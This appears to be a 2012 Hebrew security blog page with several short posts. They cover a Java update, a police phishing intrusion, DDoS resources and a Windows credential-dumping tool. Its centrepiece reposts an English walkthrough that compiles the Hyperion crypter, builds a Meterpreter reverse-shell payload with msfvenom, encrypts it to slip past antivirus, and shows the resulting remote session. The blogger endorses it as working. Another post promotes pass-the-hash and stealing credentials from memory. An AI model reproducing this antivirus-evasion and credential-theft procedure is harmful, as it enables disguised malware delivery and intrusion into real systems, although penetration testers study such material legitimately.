Latest Security News

Show All

ื™ื•ืžืŸ ืฉื‘ื•ืขื™ 21-27- ืื•ืงื˜ื•ื‘ืจ 2012

ื—ืฉื‘ืชื™ ื›ื›ื” ืœืจืฉื•ื ืœืขืฆืžื™ ืจืืฉื™ ืคืจืงื™ื ืขื‘ื•ืจ ืื™ืจื•ืขื™ ืื‘ื˜ื—ื” ื•ืฉืืจ ื“ื‘ืจื™ื ืžืขื ื™ื™ื ื™ื ืฉื ืชืงืœืชื™ ื‘ื”ื ื”ืฉื‘ื•ืข ืฉืขื‘ืจ - ืขื•ื“ ืœื ืกื’ื•ืจ ื‘ืื™ื–ื” ื™ื•ื - ืื‘ืœ ื”ืจืขื™ื•ืŸ ื”ื•ื ืœื”ืชืžื™ื“...ื”ืžืžืž ืงืฉื”... ื˜ื•ื‘ ื ืชื—ื™ืœ ื‘ื ื™ืกื•ื™:

 -2012 21-27

  1. JAVA update - ืฉื•ื‘ ื—ื•ื–ืจ ื”ื ื™ื’ื•ืŸ ... ืœืžื™ ืฉืขื•ื“ ืœื ืขื“ื›ื•ืŸ -ื–ื” ื”ื–ืžืŸ ืœืฉื“ืจื’ ืœ 6.37 ืื• ืœ 7.09 /  ืืคืฉืจ ืœื”ืชื—ื™ืœ ืœื–ื”ื•ืช ืืช ื’ืจืกืช ื” JAVA ื”ืžื•ืชืงื ืช ื“ืจืš ืืชืจ ื–ื” ื•ืœื”ืชืงื“ื ื‘ืืชืจ ืฉืœ JAVA ืœืฉื“ืจื•ื’  - ืื• ืœื—ืœื•ืคื™ืŸ ืœืฉื“ืจืš ืื•ื˜ื•ืžืื˜ื™ืช.ื“ืจืš ืื’ื‘ ,ืœืคื’ื™ืขื•ืช ื”ืื—ืจื•ื ื” ืฉื”ื•ื’ืฉื” ืœืจื™ื•ื•ื™ื• ืข"ื™ ื—ื•ืงืจ ืื‘ื˜ื— ืžื™ื“ืข ืคื•ืœื ื™ - ืขื“ื™ื™ืŸ ืœื ื›ืชื‘ื• ืชื™ืงื•ืŸ - ืœืคื™ ORACLE ื™ื˜ื•ืคืœ ื‘ืจื‘ืขื•ืŸ ื”ืจืืฉื•ืŸ ืฉืœ 2013 , ืžื•ืžืœืฅ ืœืžื™ ืฉืื™ืŸ ืœื• ืฆื•ืจืš ื‘ื”ืจืฆืช ืืคืœื™ืงืฆื™ื•ืช ืžื‘ืกืกื•ืช JAVA ืœื”ืกื™ืจ ืืช ืชื•ืกืฃ ื”ื“ืคื“ืคืŸ ืขื‘ื•ืจ ื’'ืื•ื” ,ื•ื‘ื›ืœ ืžืงืจื” ืœืขื‘ื•ื“ ืขื ื›ืจื•ื ืื• FF ื• .ืœ ื ืขื IE


2. ื ืกื™ื•ืŸ ื—ื“ื™ืจื” ื•ื”ืชืงืคืช CYBER ืขืœ ืžื—ืฉื‘ื™ ื”ืžืฉื˜ืจื” -ืขื•ื“ ืคืจื˜ื™ื ื›ืืŸ , ืžืงืจื™ืื” ืจืืฉื•ื ื™ืช , ื ืจืื” ื›ื™ ื”ื ืกื™ื•ืŸ ืžื–ื›ื™ืจ ืขืฉืจื•ืช ื ืกื™ื•ื ื•ืช ืฉื™ื›ื ื•ืข ืœืœื—ื•ืฅ ืขืœ ืœื™ื ืง ืื• ืœืคืชื•ื— ืงื•ื‘ืฅ ื“ืจืš ื”ืžื™ื™ืœ ,ื‘ื“ืจืš ื›ืœืœ ืžื™ื™ืœื™ื ืืœื• ืงืฉื•ืจื™ื ืœืคืฉื™ืขืช ืกื™ื™ื‘ืจ - ืืš ื‘ืžืงืจื” ื”ืกืคืฆื™ืคื™ ื”ื–ื” ื™ืชื›ืŸ ื•ื”ื™ื” ืžื“ื•ื”ืจ ืขืœ ืžืชืงืคืช ื˜ืจื•ืจ ืงื™ื‘ืจื ื˜ื™ ืข"ื™ ืื™ืจืŸ ( ื›ืš ื˜ื•ืขื ื™ื ืžื•ืžื—ื™ ื”ืื‘ื˜ื—ื” ืฉื—ืงืจื• ืืช ื”ืขื ื™ื™ืŸ). ืงืฆืช ืชืžื•ื”ื” ื‘ืขื™ื ื™ื™ ,ื”ืฆืขื“ ื”ืงื™ืฆื•ื ื™ ืฉืœ ื ื™ืชื•ืง ืžื—ืฉื‘ื™ ื”ืžืฉื˜ืจื” ืžื”ืื™ื ื˜ืจื ื˜ ื•ืžืžืขืจื›ื•ืช ื ื•ืกืคื•ืช ืžื—ืฉืฉ ืœื–ืœื™ื’ืช ืžื™ื“ืข ,ื•ื‘ื ื•ืกืฃ ื—ืกื™ืžืช DOK ื‘ื›ืœ ื”ื—ื‘ืจื”.
    • ื”ืื ืื™ืŸ ืœืžืฉื˜ืจื” ืžืขืจื›ื•ืช ื ื™ื˜ื•ืจ ืœื–ืœื™ื’ืช ืžื™ื“ืข ืฉืขื•ื‘ื“ืช ืขืœ ืจืงืข ืงื‘ื•ืข?
    • ื”ืื ืื™ืŸ ืœืžืฉื˜ืจื” ื™ื›ื•ืœืช ืœื ืชื— ืคื ื™ื•ืช ื—ืฉื•ื“ื•ืช ืžืชื•ืš ื”ื—ื‘ืจื” ืœืื™ื ื˜ืจื ื˜?
    • ืžื“ื•ืข ืœื ื—ืกื•ื DOK ื›ื‘ืจื™ืจืช ืžื—ื“ืœ?
    • ืžืขื‘ืจ ืœืื ื˜ื™ ื•ื™ืจื•ืก ื”ืžื•ืชืงืŸ ื‘ืžืขืจื›ืช ื”ื“ื•ืืจ - ืžื“ื•ืข ืœื ื—ื•ืกืžื™ื ื‘ืžืฉื˜ืจื”  ื› ืœ  ืงื•ื‘ืฅ ืžืกื•ื›ืŸ ื›ื’ื•ืŸ EXE ื• DLL??? ื›ืœ ืกื•ื’ ื›ื–ื” ืžื•ืžืœืฅ ืฉื™ืฉืœืš ืœืชื™ื‘ื” ืžื™ื•ื—ื“ืฉ ื”ืžืื•ืฉืจืช ืจืง ืข"ื™ ืื ืฉื™ื ืื‘ื˜ื—ืช ืžื™ื“ืข.
    • ื‘ืงื™ืฆื•ืจ ื ื™ืจืื” ื›ื™ ืคืื ื™ืงื” ื•ื”ื—ืœื˜ื•ืช ืงืฉื•ืช , ื”ื™ื• ื›ืืŸ ืœืžื—ื•ื•ื™ืจ.
  

ืคื•ืจืกื ืขืœ ื™ื“ื™

Radware lunches new DDOS security site

 www.DDoSWarriors.com  
Provides comprehensive analysis on DoS and DDoS attack tools, trends, and threats
ื™ืฉ ื›ืืŸ ื—ื•ืžืจื™ื ืžืขื ื™ื™ื ื™ื ืžืื“ ื•ืžืงื™ืคื™ื ื‘ื ื•ืฉื ื”ืชืงืคื•ืช ืžื ื™ืขืช ืฉื™ืจื•ืช ,ื›ืœื™ื,ื—ื“ืฉื•ืช ื•ื›ื•,
ื™ืฆื ืœื™ ืœื”ื™ืคื’ืฉ ื•ืืฃ ืœืฉืžื•ืข ื”ืจืฆืื” ืžื”ืžื•ืžื—ื™ื ืฉืœ ืจื“ื•ื•ืจ ื•ื‘ืคื™ืจื•ืฉ ื™ืฉ ืฉื ื›ืžื•ืช ื™ื“ืข ืขืฆื•ืžื” ื•ื™ื—ื•ื“ื™ืช.
ืžื•ืžืœืฅ!



ืคื•ืจืกื ืขืœ ื™ื“ื™

Anti Virus evasion Technic -Hyperion tool

ืฉื™ืžื•ืฉ ื‘ืฉื™ื˜ื” ืžื™ื•ื—ื“ืช ื”ืขื•ืฉื” ืฉื™ืžื•ืฉ ื‘ื”ืฆืคื ื” ื‘ื›ื“ื™ ืœืžื ื•ืข ื–ื™ื”ื•ื™ ืงื•ื‘ืฅ ื–ื“ื•ื ื™ ืข"ื™ ืื ื˜ื™ื•ื™ืจื•ืกื™ื

ืœื”ืœืŸ ื”ื”ื•ืจืื•ืช ืœืฉื™ืžื•ืฉ ืขืœ bt5r3  ืœืงื™ืžืคื•ืœ ืงื•ื“ ื” hyperion  ื•ืœืฉื™ืžื•ืฉ ืขืœ EXE ืฉื ื‘ื—ืจ:
ื‘ื“ืงืชื™ ื•ื–ื” ืขื•ื‘ื“!


taken  from 
****
I recently watched a presentation that rel1k gave at bSides Cleveland 2012, in which he revealed some of his top secret antivirus bypass techniques. He quickly explained and demonstrated Binary Droppers,Shellcodeexec, Powershell injection, modifying Metasploit payload templates, and PE crypters. This last one caught my attention, as I hadn’t heard of it before. The PE crypter that he demonstrated is called Hyperion, by nullsecurity. It works somewhat like a PE Packer, but instead of scrambling the payload and encapsulating it with explicit instructions on how to descramble it, the payload is encrypted and encapsulated with a weak 128-bit AES key, which is simply brute forced at the time of execution. Let’s try it out. Only the source files are made available, so we’ll have to compile it ourselves. Luckily, BackTrack provides the tools need to cross-compile executables.
root@bt:~# wget http://nullsecurity.net/tools/binary/Hyperion-1.0.zip
root@bt:~# unzip Hyperion-1.0.zip 
root@bt:~# cd Hyperion-1.0
root@bt:~/Hyperion-1.0# wine /root/.wine/drive_c/MinGW/bin/g++.exe ./Src/Crypter/*.cpp -o crypter.exe
root@bt:~/Hyperion-1.0# ls -l *.exe
-rwxr-xr-x 1 root root 580396 2012-07-29 16:05 crypter.exe
Now that we have our Hyperion crypter executable. Let’s create a Metasploit payload.
root@bt:~/Hyperion-1.0# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=443 -f exe >payload.exe
root@bt:~/Hyperion-1.0# ls -l *.exe
-rwxr-xr-x 1 root root 580396 2012-07-29 16:05 crypter.exe
-rw-r--r-- 1 root root  73802 2012-07-29 16:13 payload.exe






root@bt:~/Hyperion-1.0# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=443 -f exe >payload.exe
root@bt:~/Hyperion-1.0# ls -l *.exe
-rwxr-xr-x 1 root root 580396 2012-07-29 16:05 crypter.exe
-rw-r--r-- 1 root root  73802 2012-07-29 16:13 payload.exe



Before we encrypt our payload, let’s see if Microsoft Security Essentials (MSE) detects anything.







As you can see, MSE detected our payload as “Trojan:Win32/Swrort.A”. That’s no good, but that’s what Hyperion is supposed to help us get around. So, let’s try encrypting our payload.


root@bt:~/Hyperion-1.0# wine crypter.exe payload.exe encrypted_payload.exe

Opening payload.exe
Copied file to memory: 0x115818
Found valid MZ signature
Found pointer to PE Header: 0xe8
Found valid PE signature
Found a PE32 file
Number of Data Directories: 16
Image Base: 0x400000

Found Section: .text
VSize: 0xa966, VAddress: 0x1000, RawSize: 0xb000, RawAddress: 0x1000

Found Section: .rdata
VSize: 0xfe6, VAddress: 0xc000, RawSize: 0x1000, RawAddress: 0xc000

Found Section: .data
VSize: 0x705c, VAddress: 0xd000, RawSize: 0x4000, RawAddress: 0xd000

Found Section: .rsrc
VSize: 0x7c8, VAddress: 0x15000, RawSize: 0x1000, RawAddress: 0x11000

Input file size + Checksum: 0x1204e
Rounded up to a multiple of key size: 0x12050
Generated Checksum: 0x5e921e
Generated Encryption Key: 0x2 0x3 0x0 0x3 0x0 0x3 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0

Written encrypted input file as fasm array to:
-> Src\FasmContainer32\infile.asm

Written input file's image base to:
-> Src\FasmContainer32\imagebase.asm

Written input file's image size to:
-> Src\FasmContainer32\sizeofimage.asm

Written keysize to:
-> Src\FasmContainer32\keysize.inc

Starting FASM with the following parameters:
Commandline: Fasm\FASM.EXE Src\FasmContainer32\main.asm encrypted_payload.exe
FASM Working Directory: Z:\root\Hyperion-1.0

Executing fasm.exe

root@bt:~/Hyperion-1.0# flat assembler  version 1.69.31  (1310719 kilobytes memory)
5 passes, 0.5 seconds, 92672 bytes.

root@bt:~/Hyperion-1.0# ls -l *.exe
-rwxr-xr-x 1 root root 580396 2012-07-29 16:05 crypter.exe
-rwxr-xr-x 1 root root  92672 2012-08-02 16:53 encrypted_payload.exe
-rw-r--r-- 1 root root  73802 2012-07-29 16:13 payload.exe



And if we copy our encrypted payload to our Windows host…







Ah, nothing to see here :-) Let’s see if it works.


msf  exploit(handler) > [*] Sending stage (752128 bytes) to 192.168.10.129
[*] Meterpreter session 1 opened (192.168.10.128:443 -> 192.168.10.129:1047) at 2012-08-02 17:17:53 -0400

msf  exploit(handler) > sessions

Active sessions
===============

  Id  Type                   Information                    Connection
  --  ----                   -----------                    ----------
  1   meterpreter x86/win32  VULNXP\Administrator @ VULNXP  192.168.10.128:443 -> 192.168.10.129:1047 (192.168.10.129)



Oh, you know that’s right!



You’ll notice that I didn’t upload this to VirusTotal to see how many anti-virus vendors detect our payload as malicious. It’s pretty well known now that this is one place anti-virus vendors go to find new payloads that they need to create signatures for detection. So, your best option for testing custom payloads is to simply install the version of anti-virus that you are trying to bypass.



Also, as rel1k stated in his presentation, the stub used to encapsulate the payload is static, so anti-virus vendors could easily create a signature for these payloads. He suggests modifying the source so that it is polymorphic. Alas, I have no idea how to do that right now, so maybe we will cover that in later post. Happy Crypting!





This entry was posted on August 2, 2012, 5:43 pm and is filed under AV Bypass, Security. You can follow any responses to this entry through RSS 2.0. Both comments and pings are currently closed.







Comments are closed.
















ืคื•ืจืกื ืขืœ ื™ื“ื™






































          

        

          

        

          

        










ื”ืจืฆืื” ืžื•ืžืœืฆืช ืฉืœ ื™ืคืชื— ืขืžื™ืช  -sexy defense  




















From derbycon 2012 - A  lecture from iftach amit  about playing good defense 



watch it















ืคื•ืจืกื ืขืœ ื™ื“ื™






















ืชื•ื•ื™ื•ืช:
,
,


























Cyber Security Events Time Line 






























A very nice timeline of events which includes : cyber crime ,cyber warfare and other importent security events .







check it out here




















ืคื•ืจืกื ืขืœ ื™ื“ื™






































          

        

          

        

          

        









Cool SciFi Name Generator


















Need a nick name? a fake identity ?



consider try this site:

















ืคื•ืจืกื ืขืœ ื™ื“ื™














































Windows Credentials Editor recomanded -post exploitation password dumping \pass the hash \kerberos and more tool


















ื›ืœื™ ืœื—ืฉื™ืคืช ืกืกืžืื•ืช ื•ื›ืŸ ืœ PASS THE HASH ื”ืขื•ื‘ื“ ื’ื ืขืœ WIN7 ื• SERVER 2008



ื”ื™ื—ื•ื“ ืฉืœื• ื”ื•ื ืฉื”ืงืจื™ืื” ืžืชื‘ืฆืขืช ื™ืฉื™ืจื•ืช ืžื”ื–ื™ื›ืจื•ืŸ ื•ืœื ื“ืจืš ืงื‘ืฆื™ื ( SAM  REG ื•ื›ื•) 



ืœื ืœืฉื›ื•ื— ืœื ืกื•ืช wcf -w 



-)











taken from their site:











What is WCE?



Windows Credentials Editor (WCE) is a security tool that allows to list Windows logon sessions and add, change, list and delete associated credentials (e.g.: LM/NT hashes, Kerberos tickets and cleartext passwords).



The tool allows users to:


    

  • Perform Pass-the-Hash on Windows
    • 

  • 'Steal' NTLM credentials from memory (with and without code injection)
    • 

  • 'Steal' Kerberos Tickets from Windows machines
    • 

  • Use the 'stolen' kerberos Tickets on other Windows or Unix machines to gain access to systems and services
    • 

  • Dump cleartext passwords stored by Windows authentication packages
    • 




WCE is a security tool widely used by security professionals to assess the security of Windows networks via Penetration Testing.









What is the current version?



The current version of WCE 32bit is v1.3beta; you can download it here and the current version of WCE 64bit is v1.3beta; you can download it here.












ืคื•ืจืกื ืขืœ ื™ื“ื™






































        

      









Subscribe to:
Posts (Atom)